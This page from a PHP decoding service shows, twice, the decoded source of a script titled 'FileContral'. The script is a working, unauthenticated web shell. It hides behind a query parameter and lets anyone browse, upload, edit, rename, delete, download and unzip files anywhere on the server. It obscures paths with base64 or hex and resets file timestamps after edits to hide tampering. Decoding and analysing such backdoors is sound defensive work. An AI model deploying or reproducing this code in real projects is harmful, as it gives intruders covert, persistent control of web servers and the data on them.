Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php header("content-Type: text/html; charset=utf-8"); error_reporting(0); function up..
Decoded Output download
<?php
header("content-Type: text/html; charset=utf-8");
error_reporting(0);
function upfile($file_var,$tofile,$filepath){
if(!is_writable($filepath)){
echo"$filepath ";
return false;
exit;
}
//echo $_FILES["$file_var"]['name'];
//$Filetype=substr(strrchr($_FILES["$file_var"]['name'],"."),1);
($tofile==='')?($uploadfile = $_FILES["$file_var"]['name']):($uploadfile = $tofile);//
$Array[tofile] = $tofile;
$Array[oldfile]= $_FILES["$file_var"]['name'];
if(!($uploadfile==='')){
if (!is_uploaded_file($_FILES["$file_var"]['tmp_name'])){
echo $_FILES["$file_var"]['tmp_name']." .";
return false;
exit;
}
if (!move_uploaded_file($_FILES["$file_var"]['tmp_name'],$filepath.'/'.$uploadfile)){
echo ":
";
print_r($_FILES);
exit;
}else{
return $Array;
}
}else{
return false;
echo"";
}
}
$ROOT_Path=$_SERVER['DOCUMENT_ROOT'];
$CurrentPath = $_POST['path']?$_POST['path']:($_GET['path']?$_GET['path']:false);
if(!empty($_POST['pathchoose'])){
$CurrentPath =uris_changes($_POST['pathchoose'],'en');
}
$CurrentPath = uris_changes($CurrentPath,'de');
if($CurrentPath===false)
{
$CurrentPath = dirname(__FILE__);
}
$CurrentPath = realpath(str_replace('\','/',$CurrentPath));
if(!empty($_GET['path'])){
$_REQUEST["Ftpfile"] = "ok";
}
function deletedir($dir)
{
if(!$handle=@opendir($dir))
{//
echo "".$dir;
//die("");
}
while(false!==($file=readdir($handle)))
{
if($file!="."&&$file!="..")
{
$file=$dir.DIRECTORY_SEPARATOR.$file;
if(is_dir($file))
{
deletedir($file);
}
else
{
if(@unlink($file))
{
//echo "<br>";
}
else
{
echo "<br>";
}
}
}
}
closedir($handle);
if(@rmdir($dir))
{
$url="http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']."?path=".$_GET['path'];
echo "<script>alert(\"\"),window.location=\"{$url}\";</script>";
}
else
{
echo "".$dir;
}
}
function uris_changes($txt,$type){
if(function_exists('base64_encode') && function_exists('base64_decode')){
return ($type == 'en') ? base64_encode($txt) : base64_decode($txt);
}elseif(function_exists('strlen') && function_exists('dechex') && function_exists('ord') && function_exists('chr') && function_exists('hexdec')){
return ($type == 'en') ? strsToHexs($txt) : hexsToStrs($txt);
}else{
$ar1 = array('public_html','.htaccess','/','.');
$ar2 = array('bbbpubghostbbb','bbbhtaghostbbb','bbbsghostbbb','bbbdotghostbbb');
return ($type == 'en') ? str_replace($ar1,$ar2,$txt) : str_replace($ar2,$ar1,$txt);
}
}
function strsToHexs($string){
$hex='';
for ($i=0; $i < strlen($string); $i++)
{
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
function hexsToStrs($hex){
$string='';
for ($i=0; $i < strlen($hex)-1; $i+=2)
{
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
}
return $string;
}
function getSize(&$fs)
{
if($fs<1024)
return $fs."Byte";
elseif($fs>=1024&&$fs<1024*1024)
return @number_format($fs/1024, 3)." KB";
elseif($fs>=1024*1024 && $fs<1024*1024*1024)
return @number_format($fs/1024*1024, 3)." M";
elseif($fs>=1024*1024*1024)
return @number_format($fs/1024*1024*1024, 3)." G";
}
if ($_GET['downfile']) {
$downfile=uris_changes($_GET['downfile'],'de');
if (@file_exists($downfile)) {
header("Content-Type: application/octet-stream");
header("Content-Transfer-Encoding: Binary");
header("Content-Length: " . filesize($downfile));
header("Content-disposition: attachment; filename=\"".basename($downfile)."\"");
readfile($downfile);
exit;
}else{
echo "<script>alert(\"\")</script>";
}
}
//
if(@$_GET['delfile']!="") {
$delfile=uris_changes($_GET['delfile'],'de');
if(file_exists($delfile)) {
@unlink($delfile);
} else {
$exists="1";
echo "<script>alert(\"\")</script>";
}
if(!file_exists($delfile)&&$exists!="1") {
$url="http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']."?path=".$_GET['path'];
echo "<script>alert(\"\"),window.location=\"{$url}\";</script>";
} else {
echo"<script>alert(\"\")</script>";
}
}
//
if(@$_GET['deldir']!="")
{
$deldir=uris_changes($_GET['deldir'],'de');
deletedir($deldir);
}
//
$edit_flag=false;
if(@$_GET['editfile']!="")
{
$flag_show=1;
$editfile=uris_changes($_GET['editfile'],'de');
if(file_exists($editfile))
{
$edit_flag=true;
$handle=fopen($editfile,"r");
$contentfile=fread($handle,filesize($editfile));
fclose($handle);
}
else
{ return false;
echo "<script>alert(\"\")</script>";
}
}
else
{
$flag_show=0;
}
if($_POST['dirname'])
{
$newdir = $CurrentPath."/".$_POST['dirname'];
if(is_dir($newdir))
{
echo"<script>alert(\"!\")</script>";
exit;
}else {
if(mkdir($newdir,0700))
{
echo"<script>alert(\"!\")</script>";
}else {
echo "<script>alert(\"!\")</script>";
}
}
}
if($_POST['newfilename'])
{
$newfilename = $CurrentPath."/".$_POST['newfilename'];
if(file_exists($newfilename))
{
echo"<script>alert(\"!\")</script>";
exit;
}else {
if(fopen($newfilename, "w"))
{
echo"<script>alert(\"!\")</script>";
}else {
echo "<script>alert(\"!\")</script>";
}
}
}
if($_POST['upload'])
{
if(!(upfile("upfiles1",$_POST['fname'],$CurrentPath)))
{
echo "<script>alert(\"!\")</script>";
}else {
echo "<script>alert(\"!\")</script>";
}
}
if($_POST['upload2'])
{
upload2($_FILES['uplfile'], uris_changes($_GET['path'],"de").'/');
}
function upload2($upfile, $ndir) {
if (!$upfile) {
error(" 0");
} elseif($upfile['name']) {
if(copy($upfile['tmp_name'],$ndir.$upfile['name'])) {
echo "<script>alert(\"!\")</script>";
} else {
echo "<script>alert(\"!\")</script>";
}
} else {
echo "<script>alert(\",!\")</script>";
}
}
if($_POST['editcontent'])
{
$path_up=uris_changes($_POST['path_f'],'de');
$contents_file_up=base64_decode($_POST['contents_file']);
$file_time=filemtime($path_up);
$handle=fopen($path_up,"w");
if($handle)
{
fwrite($handle,$contents_file_up);
fclose($handle);
@touch($path_up,$file_time,$file_time);
echo "<script>alert(\"\");</script>";
$editedfile=basename($path_up);
}
else
{
return false;
echo "<script>alert(\"\")</script>";
}
}
if($_POST['renamefile'])
{
$rename_path=uris_changes($_POST['rename'],'de');
$filesarray = explode('|a|',$rename_path);
if(count($filesarray) != 2) { echo "<script>alert(\"\");</script>";
}else {
if(rename($filesarray[0].$filesarray[1],$filesarray[0].$_POST['nrename'])) {
echo "<script>alert(\"\");</script>";
} else {
echo "<script>alert(\"\");</script>";
}
}
}
if($_GET['unzfile'])
{
$zipfile=uris_changes($_GET['unzfile'],'de');
$outPath = uris_changes($_GET['path'],'de');
$zip = new ZipArchive();
$openRes = $zip->open($zipfile);
if ($openRes === TRUE) {
$zip->extractTo($outPath);
$zip->close();
$url="http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']."?path=".$_GET['path'];
echo "<script>alert(\"\"),window.location=\"{$url}\";</script>";
} else {
echo"<script>alert(\"\")</script>";
}
}
function gets_colors($file) {if(!is_writable($file) && is_readable($file)){return "red";} return "#003399";}
if($_REQUEST["Ftpfile"]=="ok"){
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>FileContral</title>
<script type="text/javascript">
function Encoder(name)
{
var e = document.getElementById(name);
e.value = btoa(e.value);
return true;
}
</script>
<script type="text/javascript">
function edit()
{
document.getElementById('edit').style.display="";
}
</script>
<style type="text/css">
<!--
body {
font-family: "";
font-size: 18px;
margin-left: 0px;
margin-top: 0px;
}
table {
font-family: "";
font-size: 18px;
text-decoration: none;
}
.bold_blue {
color: #003399;
font-weight: bold;
}
input {
border-right-width: 0.1mm;
border-bottom-width: 0.1mm;
border-top-style: none;
border-right-style: solid;
border-bottom-style: solid;
border-left-style: none;
border-right-color: #CCCCCC;
border-bottom-color: #CCCCCC;
}
-->
</style>
</head>
<body>
<table width="1000" border="0" align="center" cellpadding="5"
cellspacing="0">
<tr>
<td bgcolor="#DDDDDD">
<table width="100%" height="100%" border="0" cellpadding="5"
cellspacing="2" bgcolor="">
<tr>
<form name="form5" method="post" action="">
<td><span class="bold_blue"><strong></strong></span> <input
name="dirname" type="text" id="dirname"> <input type="submit"
name="Submit" value=" "></td>
</form>
</tr>
<tr>
<form name="form2" method="post" action="">
<td><span class="bold_blue"><strong></strong></span> <input
name="newfilename" type="text" id="newfilename"> <input type="submit"
name="Submit" value=" "></td>
</form>
</tr>
<form name="form3" method="post" action=""
enctype="multipart/form-data">
<tr>
<td><span class="bold_blue"><strong></strong></span> <input
name="upfiles1" type="file" id="upfiles1"></td>
</tr>
<tr>
<td><span class="bold_blue"><strong> </strong></span> <input
name="fname" type="test" id="fname"> <input type="submit"
name="upload" value=" "></td>
</tr>
</form>
<tr>
<form name="form1" method="post" action="">
<td><span class="bold_blue" style="color:<?php echo gets_colors($CurrentPath);?>; "></span> <input name="pathchoose" type="text" id="pathchoose" style="width:800px;" value="<?php echo $CurrentPath;?>"> <input type="submit" name="Submit" value=" ">
</form>
</td>
</tr>
<tr>
<td><form enctype="multipart/form-data" action="?path=<?php echo uris_changes($CurrentPath,'en');?>" method="post">
<input type="file" name="uplfile" id="uplfile">
<input type="submit" value="" name="upload2">
</form>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td bgcolor="#DDDDDD">
<table width="100%" border="0" cellspacing="0" cellpadding="5">
<tr>
<td bgcolor="#BCBCBC"><strong><a href="?path=<?php echo uris_changes($ROOT_Path,'en');?>"><span class="bold_blue"><strong></strong></span></a> > <a href="<?php echo "http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];?>?Ftpfile=ok"><span class="bold_blue"><strong></strong></span></a> > <a href="?path=<?php echo uris_changes(dirname($CurrentPath),'en');?>"><span class="bold_blue"><strong></strong></span></a></strong></td>
</tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="0" cellspacing="8"
bgcolor="#EFEFEF">
<tr>
<td><b></b></td>
<td><b></b></td>
</tr>
<?php
$fso=@opendir($CurrentPath);
while ($file=@readdir($fso)) {
if(is_dir($CurrentPath.'/'.$file) && is_readable($CurrentPath.'/'.$file)) {
if($file!=".."&&$file!=".") {
if (strlen($file)>30) {
$filetxtname = substr($file,0,30)."...";
} else {
$filetxtname = $file;
}
echo "<tr bgcolor=\"#EFEFEF\">
";
echo "<td><a href=\"?path=".uris_changes($CurrentPath."/".$file,'en')."\"><span style=\"color:".gets_colors("$CurrentPath/$file").";\"><strong>$filetxtname</strong></span></a></td>
";
echo "<td><a href=\"?ren==".uris_changes($CurrentPath."/|a|".$file,'en')."&path=".uris_changes($CurrentPath,'en')."\"></a>|<a href=\"?path=".$_GET['path']."&deldir=".uris_changes("$CurrentPath/$file",'en')."\"></a></td>
";
echo "</tr>
";
} else {
if($file=="..")
{
continue;
}
}
}
}
@closedir($fso);
?>
</table>
</td>
</tr>
<tr>
<td bgcolor="#BDBEBD"><strong> <?php $editcon=(empty($editedfile))? "": $editedfile."---"; echo $editcon;?></strong></td>
</tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="0" cellspacing="8"
bgcolor="#EFEFEF">
<tr>
<td><b></b></td>
<td><b></b></td>
<td><b></b></td>
<td><b></b></td>
</tr>
<?php
$flag_file=0;//
$fso=@opendir($CurrentPath);
while ($file=@readdir($fso)) {
if(!is_dir($CurrentPath.'/'.$file) && is_readable($CurrentPath.'/'.$file)) {
if (strlen($file)>30) {
$filetxtname = substr($file,0,30)."...";
} else {
$filetxtname = $file;
}
$flag_file++;
$size=@filesize("$CurrentPath/$file");
$size=@getSize($size);
$lastsave=@date("Y-n-d H:i:s",filemtime("$CurrentPath/$file"));
echo "<tr bgcolor=\"#EFEFEF\">
";
echo "<td> <a href=\"".str_replace($ROOT_Path,"",$CurrentPath.'/'.$file)."\"><span style=\"color:".gets_colors("$CurrentPath/$file").";\"><strong>$filetxtname</strong></span></a></td>
";
echo " <td>$lastsave</td>
";
echo " <td>$size</td>
";
?>
<td><input type="hidden" id="<?php echo $flag_file."path"?>"
value="<?php echo $filec;?>"> <a
href="?editfile=<?php echo uris_changes($CurrentPath."/".$file,'en')."&path=".uris_changes($CurrentPath,'en');?>#edit"
onclick="edit();"></a>|<a
href="?ren=<?php echo uris_changes($CurrentPath."/|a|".$file,'en')."&path=".uris_changes($CurrentPath,'en');?>"></a>|<a
href="?path=<?php echo uris_changes($CurrentPath,'en')."&delfile=".uris_changes($CurrentPath."/".$file,'en');?>"></a>|<a
href="?downfile=<?php echo uris_changes($CurrentPath."/".$file,'en');?>"></a><?php if(preg_match("/\.zip$/i",$file)) {?>|<a
href="?unzfile=<?php echo uris_changes($CurrentPath."/".$file,'en')."&path=".uris_changes($CurrentPath,'en');?>"></a><?php }?>
</td>
<?php
// echo " <td><a href=\"?downfile=".urlencode($CurrentPath)."/".urlencode($file)."\"></a> |<a href=\"?path=".urlencode($CurrentPath)."&delfile=".urlencode($CurrentPath)."/".urlencode($file)."\"></a></td>
";
echo "</tr>
";
}
}
if($flag_file==0)
{
echo "<tr bgcolor=\"#EFEFEF\">
";
echo "<td align=\"center\" colspan=\"3\"><font style=\"color:red;\" size=\"10\"></font></td>";
echo "</tr>
";
}
@closedir($fso);
?>
</table>
</td>
</tr>
<tr>
<td bgcolor="#BDBEBD"><strong></strong></td>
</tr>
<tr>
<td>
<div id="edit" <?php if($flag_show==0) {?> style="display: none"
<?php }?>>
<table width="100%" border="0" cellpadding="0" cellspacing="8"
bgcolor="#EFEFEF">
<form name="edit" method="post" action="?path=<?php echo $_GET['path']; ?>" onSubmit=Encoder('contents_edit')>
<tr>
<td><input type="hidden" name="path_f"
value="<?php echo uris_changes($editfile,'en');?>"></input>
<textarea
id="contents_edit" name="contents_file"
style="width: 1000px; overflow-y: visible; height: 500px;"><?php if($edit_flag){ echo htmlspecialchars($contentfile);?><?php }else{ echo "no" ;}?>
</textarea></td>
</tr>
<tr>
<td><input style="background-color: gray" type="submit"
name="editcontent" value="submit" ></input></td>
</tr>
</form>
</table>
</div>
<div id="ren" <?php if(@$_GET['ren']=="") {?> style="display: none"
<?php }?>>
<table width="100%" border="0" cellpadding="0" cellspacing="8"
bgcolor="#EFEFEF">
<form name="ren" method="post" action="?path=<?php echo $_GET['path']; ?>">
<tr>
<td>
<table border="0" cellpadding="2" cellspacing="0">
<?php echo preg_replace("/.*\|a\|/i","",uris_changes($_GET['ren'],'de'));?>
</table><br>
<input type="hidden" name="rename" value="<?php echo $_GET['ren'];?>"></input>
:<br><input class="text" type="text" size="20" name="nrename">
<input type="Submit" value="" name="renamefile" style="background-color: gray"></td>
</tr>
<tr>
</tr>
</form>
</table>
</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
<?php
exit;
}
?>
Did this file decode correctly?
Original Code
<?php
header("content-Type: text/html; charset=utf-8");
error_reporting(0);
function upfile($file_var,$tofile,$filepath){
if(!is_writable($filepath)){
echo"$filepath ";
return false;
exit;
}
//echo $_FILES["$file_var"]['name'];
//$Filetype=substr(strrchr($_FILES["$file_var"]['name'],"."),1);
($tofile==='')?($uploadfile = $_FILES["$file_var"]['name']):($uploadfile = $tofile);//
$Array[tofile] = $tofile;
$Array[oldfile]= $_FILES["$file_var"]['name'];
if(!($uploadfile==='')){
if (!is_uploaded_file($_FILES["$file_var"]['tmp_name'])){
echo $_FILES["$file_var"]['tmp_name']." .";
return false;
exit;
}
if (!move_uploaded_file($_FILES["$file_var"]['tmp_name'],$filepath.'/'.$uploadfile)){
echo ":\n";
print_r($_FILES);
exit;
}else{
return $Array;
}
}else{
return false;
echo"";
}
}
$ROOT_Path=$_SERVER['DOCUMENT_ROOT'];
$CurrentPath = $_POST['path']?$_POST['path']:($_GET['path']?$_GET['path']:false);
if(!empty($_POST['pathchoose'])){
$CurrentPath =uris_changes($_POST['pathchoose'],'en');
}
$CurrentPath = uris_changes($CurrentPath,'de');
if($CurrentPath===false)
{
$CurrentPath = dirname(__FILE__);
}
$CurrentPath = realpath(str_replace('\\','/',$CurrentPath));
if(!empty($_GET['path'])){
$_REQUEST["Ftpfile"] = "ok";
}
function deletedir($dir)
{
if(!$handle=@opendir($dir))
{//
echo "".$dir;
//die("");
}
while(false!==($file=readdir($handle)))
{
if($file!="."&&$file!="..")
{
$file=$dir.DIRECTORY_SEPARATOR.$file;
if(is_dir($file))
{
deletedir($file);
}
else
{
if(@unlink($file))
{
//echo "<br>";
}
else
{
echo "<br>";
}
}
}
}
closedir($handle);
if(@rmdir($dir))
{
$url="http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']."?path=".$_GET['path'];
echo "<script>alert(\"\"),window.location=\"{$url}\";</script>";
}
else
{
echo "".$dir;
}
}
function uris_changes($txt,$type){
if(function_exists('base64_encode') && function_exists('base64_decode')){
return ($type == 'en') ? base64_encode($txt) : base64_decode($txt);
}elseif(function_exists('strlen') && function_exists('dechex') && function_exists('ord') && function_exists('chr') && function_exists('hexdec')){
return ($type == 'en') ? strsToHexs($txt) : hexsToStrs($txt);
}else{
$ar1 = array('public_html','.htaccess','/','.');
$ar2 = array('bbbpubghostbbb','bbbhtaghostbbb','bbbsghostbbb','bbbdotghostbbb');
return ($type == 'en') ? str_replace($ar1,$ar2,$txt) : str_replace($ar2,$ar1,$txt);
}
}
function strsToHexs($string){
$hex='';
for ($i=0; $i < strlen($string); $i++)
{
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
function hexsToStrs($hex){
$string='';
for ($i=0; $i < strlen($hex)-1; $i+=2)
{
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
}
return $string;
}
function getSize(&$fs)
{
if($fs<1024)
return $fs."Byte";
elseif($fs>=1024&&$fs<1024*1024)
return @number_format($fs/1024, 3)." KB";
elseif($fs>=1024*1024 && $fs<1024*1024*1024)
return @number_format($fs/1024*1024, 3)." M";
elseif($fs>=1024*1024*1024)
return @number_format($fs/1024*1024*1024, 3)." G";
}
if ($_GET['downfile']) {
$downfile=uris_changes($_GET['downfile'],'de');
if (@file_exists($downfile)) {
header("Content-Type: application/octet-stream");
header("Content-Transfer-Encoding: Binary");
header("Content-Length: " . filesize($downfile));
header("Content-disposition: attachment; filename=\"".basename($downfile)."\"");
readfile($downfile);
exit;
}else{
echo "<script>alert(\"\")</script>";
}
}
//
if(@$_GET['delfile']!="") {
$delfile=uris_changes($_GET['delfile'],'de');
if(file_exists($delfile)) {
@unlink($delfile);
} else {
$exists="1";
echo "<script>alert(\"\")</script>";
}
if(!file_exists($delfile)&&$exists!="1") {
$url="http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']."?path=".$_GET['path'];
echo "<script>alert(\"\"),window.location=\"{$url}\";</script>";
} else {
echo"<script>alert(\"\")</script>";
}
}
//
if(@$_GET['deldir']!="")
{
$deldir=uris_changes($_GET['deldir'],'de');
deletedir($deldir);
}
//
$edit_flag=false;
if(@$_GET['editfile']!="")
{
$flag_show=1;
$editfile=uris_changes($_GET['editfile'],'de');
if(file_exists($editfile))
{
$edit_flag=true;
$handle=fopen($editfile,"r");
$contentfile=fread($handle,filesize($editfile));
fclose($handle);
}
else
{ return false;
echo "<script>alert(\"\")</script>";
}
}
else
{
$flag_show=0;
}
if($_POST['dirname'])
{
$newdir = $CurrentPath."/".$_POST['dirname'];
if(is_dir($newdir))
{
echo"<script>alert(\"!\")</script>";
exit;
}else {
if(mkdir($newdir,0700))
{
echo"<script>alert(\"!\")</script>";
}else {
echo "<script>alert(\"!\")</script>";
}
}
}
if($_POST['newfilename'])
{
$newfilename = $CurrentPath."/".$_POST['newfilename'];
if(file_exists($newfilename))
{
echo"<script>alert(\"!\")</script>";
exit;
}else {
if(fopen($newfilename, "w"))
{
echo"<script>alert(\"!\")</script>";
}else {
echo "<script>alert(\"!\")</script>";
}
}
}
if($_POST['upload'])
{
if(!(upfile("upfiles1",$_POST['fname'],$CurrentPath)))
{
echo "<script>alert(\"!\")</script>";
}else {
echo "<script>alert(\"!\")</script>";
}
}
if($_POST['upload2'])
{
upload2($_FILES['uplfile'], uris_changes($_GET['path'],"de").'/');
}
function upload2($upfile, $ndir) {
if (!$upfile) {
error(" 0");
} elseif($upfile['name']) {
if(copy($upfile['tmp_name'],$ndir.$upfile['name'])) {
echo "<script>alert(\"!\")</script>";
} else {
echo "<script>alert(\"!\")</script>";
}
} else {
echo "<script>alert(\",!\")</script>";
}
}
if($_POST['editcontent'])
{
$path_up=uris_changes($_POST['path_f'],'de');
$contents_file_up=base64_decode($_POST['contents_file']);
$file_time=filemtime($path_up);
$handle=fopen($path_up,"w");
if($handle)
{
fwrite($handle,$contents_file_up);
fclose($handle);
@touch($path_up,$file_time,$file_time);
echo "<script>alert(\"\");</script>";
$editedfile=basename($path_up);
}
else
{
return false;
echo "<script>alert(\"\")</script>";
}
}
if($_POST['renamefile'])
{
$rename_path=uris_changes($_POST['rename'],'de');
$filesarray = explode('|a|',$rename_path);
if(count($filesarray) != 2) { echo "<script>alert(\"\");</script>";
}else {
if(rename($filesarray[0].$filesarray[1],$filesarray[0].$_POST['nrename'])) {
echo "<script>alert(\"\");</script>";
} else {
echo "<script>alert(\"\");</script>";
}
}
}
if($_GET['unzfile'])
{
$zipfile=uris_changes($_GET['unzfile'],'de');
$outPath = uris_changes($_GET['path'],'de');
$zip = new ZipArchive();
$openRes = $zip->open($zipfile);
if ($openRes === TRUE) {
$zip->extractTo($outPath);
$zip->close();
$url="http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']."?path=".$_GET['path'];
echo "<script>alert(\"\"),window.location=\"{$url}\";</script>";
} else {
echo"<script>alert(\"\")</script>";
}
}
function gets_colors($file) {if(!is_writable($file) && is_readable($file)){return "red";} return "#003399";}
if($_REQUEST["Ftpfile"]=="ok"){
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>FileContral</title>
<script type="text/javascript">
function Encoder(name)
{
var e = document.getElementById(name);
e.value = btoa(e.value);
return true;
}
</script>
<script type="text/javascript">
function edit()
{
document.getElementById('edit').style.display="";
}
</script>
<style type="text/css">
<!--
body {
font-family: "";
font-size: 18px;
margin-left: 0px;
margin-top: 0px;
}
table {
font-family: "";
font-size: 18px;
text-decoration: none;
}
.bold_blue {
color: #003399;
font-weight: bold;
}
input {
border-right-width: 0.1mm;
border-bottom-width: 0.1mm;
border-top-style: none;
border-right-style: solid;
border-bottom-style: solid;
border-left-style: none;
border-right-color: #CCCCCC;
border-bottom-color: #CCCCCC;
}
-->
</style>
</head>
<body>
<table width="1000" border="0" align="center" cellpadding="5"
cellspacing="0">
<tr>
<td bgcolor="#DDDDDD">
<table width="100%" height="100%" border="0" cellpadding="5"
cellspacing="2" bgcolor="">
<tr>
<form name="form5" method="post" action="">
<td><span class="bold_blue"><strong></strong></span> <input
name="dirname" type="text" id="dirname"> <input type="submit"
name="Submit" value=" "></td>
</form>
</tr>
<tr>
<form name="form2" method="post" action="">
<td><span class="bold_blue"><strong></strong></span> <input
name="newfilename" type="text" id="newfilename"> <input type="submit"
name="Submit" value=" "></td>
</form>
</tr>
<form name="form3" method="post" action=""
enctype="multipart/form-data">
<tr>
<td><span class="bold_blue"><strong></strong></span> <input
name="upfiles1" type="file" id="upfiles1"></td>
</tr>
<tr>
<td><span class="bold_blue"><strong> </strong></span> <input
name="fname" type="test" id="fname"> <input type="submit"
name="upload" value=" "></td>
</tr>
</form>
<tr>
<form name="form1" method="post" action="">
<td><span class="bold_blue" style="color:<?php echo gets_colors($CurrentPath);?>; "></span> <input name="pathchoose" type="text" id="pathchoose" style="width:800px;" value="<?php echo $CurrentPath;?>"> <input type="submit" name="Submit" value=" ">
</form>
</td>
</tr>
<tr>
<td><form enctype="multipart/form-data" action="?path=<?php echo uris_changes($CurrentPath,'en');?>" method="post">
<input type="file" name="uplfile" id="uplfile">
<input type="submit" value="" name="upload2">
</form>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td bgcolor="#DDDDDD">
<table width="100%" border="0" cellspacing="0" cellpadding="5">
<tr>
<td bgcolor="#BCBCBC"><strong><a href="?path=<?php echo uris_changes($ROOT_Path,'en');?>"><span class="bold_blue"><strong></strong></span></a> > <a href="<?php echo "http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];?>?Ftpfile=ok"><span class="bold_blue"><strong></strong></span></a> > <a href="?path=<?php echo uris_changes(dirname($CurrentPath),'en');?>"><span class="bold_blue"><strong></strong></span></a></strong></td>
</tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="0" cellspacing="8"
bgcolor="#EFEFEF">
<tr>
<td><b></b></td>
<td><b></b></td>
</tr>
<?php
$fso=@opendir($CurrentPath);
while ($file=@readdir($fso)) {
if(is_dir($CurrentPath.'/'.$file) && is_readable($CurrentPath.'/'.$file)) {
if($file!=".."&&$file!=".") {
if (strlen($file)>30) {
$filetxtname = substr($file,0,30)."...";
} else {
$filetxtname = $file;
}
echo "<tr bgcolor=\"#EFEFEF\">\n";
echo "<td><a href=\"?path=".uris_changes($CurrentPath."/".$file,'en')."\"><span style=\"color:".gets_colors("$CurrentPath/$file").";\"><strong>$filetxtname</strong></span></a></td>\n";
echo "<td><a href=\"?ren==".uris_changes($CurrentPath."/|a|".$file,'en')."&path=".uris_changes($CurrentPath,'en')."\"></a>|<a href=\"?path=".$_GET['path']."&deldir=".uris_changes("$CurrentPath/$file",'en')."\"></a></td>\n";
echo "</tr>\n";
} else {
if($file=="..")
{
continue;
}
}
}
}
@closedir($fso);
?>
</table>
</td>
</tr>
<tr>
<td bgcolor="#BDBEBD"><strong> <?php $editcon=(empty($editedfile))? "": $editedfile."---"; echo $editcon;?></strong></td>
</tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="0" cellspacing="8"
bgcolor="#EFEFEF">
<tr>
<td><b></b></td>
<td><b></b></td>
<td><b></b></td>
<td><b></b></td>
</tr>
<?php
$flag_file=0;//
$fso=@opendir($CurrentPath);
while ($file=@readdir($fso)) {
if(!is_dir($CurrentPath.'/'.$file) && is_readable($CurrentPath.'/'.$file)) {
if (strlen($file)>30) {
$filetxtname = substr($file,0,30)."...";
} else {
$filetxtname = $file;
}
$flag_file++;
$size=@filesize("$CurrentPath/$file");
$size=@getSize($size);
$lastsave=@date("Y-n-d H:i:s",filemtime("$CurrentPath/$file"));
echo "<tr bgcolor=\"#EFEFEF\">\n";
echo "<td> <a href=\"".str_replace($ROOT_Path,"",$CurrentPath.'/'.$file)."\"><span style=\"color:".gets_colors("$CurrentPath/$file").";\"><strong>$filetxtname</strong></span></a></td>\n";
echo " <td>$lastsave</td>\n";
echo " <td>$size</td>\n";
?>
<td><input type="hidden" id="<?php echo $flag_file."path"?>"
value="<?php echo $filec;?>"> <a
href="?editfile=<?php echo uris_changes($CurrentPath."/".$file,'en')."&path=".uris_changes($CurrentPath,'en');?>#edit"
onclick="edit();"></a>|<a
href="?ren=<?php echo uris_changes($CurrentPath."/|a|".$file,'en')."&path=".uris_changes($CurrentPath,'en');?>"></a>|<a
href="?path=<?php echo uris_changes($CurrentPath,'en')."&delfile=".uris_changes($CurrentPath."/".$file,'en');?>"></a>|<a
href="?downfile=<?php echo uris_changes($CurrentPath."/".$file,'en');?>"></a><?php if(preg_match("/\.zip$/i",$file)) {?>|<a
href="?unzfile=<?php echo uris_changes($CurrentPath."/".$file,'en')."&path=".uris_changes($CurrentPath,'en');?>"></a><?php }?>
</td>
<?php
// echo " <td><a href=\"?downfile=".urlencode($CurrentPath)."/".urlencode($file)."\"></a> |<a href=\"?path=".urlencode($CurrentPath)."&delfile=".urlencode($CurrentPath)."/".urlencode($file)."\"></a></td>\n";
echo "</tr>\n";
}
}
if($flag_file==0)
{
echo "<tr bgcolor=\"#EFEFEF\">\n";
echo "<td align=\"center\" colspan=\"3\"><font style=\"color:red;\" size=\"10\"></font></td>";
echo "</tr>\n";
}
@closedir($fso);
?>
</table>
</td>
</tr>
<tr>
<td bgcolor="#BDBEBD"><strong></strong></td>
</tr>
<tr>
<td>
<div id="edit" <?php if($flag_show==0) {?> style="display: none"
<?php }?>>
<table width="100%" border="0" cellpadding="0" cellspacing="8"
bgcolor="#EFEFEF">
<form name="edit" method="post" action="?path=<?php echo $_GET['path']; ?>" onSubmit=Encoder('contents_edit')>
<tr>
<td><input type="hidden" name="path_f"
value="<?php echo uris_changes($editfile,'en');?>"></input>
<textarea
id="contents_edit" name="contents_file"
style="width: 1000px; overflow-y: visible; height: 500px;"><?php if($edit_flag){ echo htmlspecialchars($contentfile);?><?php }else{ echo "no" ;}?>
</textarea></td>
</tr>
<tr>
<td><input style="background-color: gray" type="submit"
name="editcontent" value="submit" ></input></td>
</tr>
</form>
</table>
</div>
<div id="ren" <?php if(@$_GET['ren']=="") {?> style="display: none"
<?php }?>>
<table width="100%" border="0" cellpadding="0" cellspacing="8"
bgcolor="#EFEFEF">
<form name="ren" method="post" action="?path=<?php echo $_GET['path']; ?>">
<tr>
<td>
<table border="0" cellpadding="2" cellspacing="0">
<?php echo preg_replace("/.*\|a\|/i","",uris_changes($_GET['ren'],'de'));?>
</table><br>
<input type="hidden" name="rename" value="<?php echo $_GET['ren'];?>"></input>
:<br><input class="text" type="text" size="20" name="nrename">
<input type="Submit" value="" name="renamefile" style="background-color: gray"></td>
</tr>
<tr>
</tr>
</form>
</table>
</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
<?php
exit;
}
?>
Function Calls
header | 1 |
Stats
MD5 | 11497225cf6603c40120f6f669f70ca8 |
Eval Count | 0 |
Decode Time | 146 ms |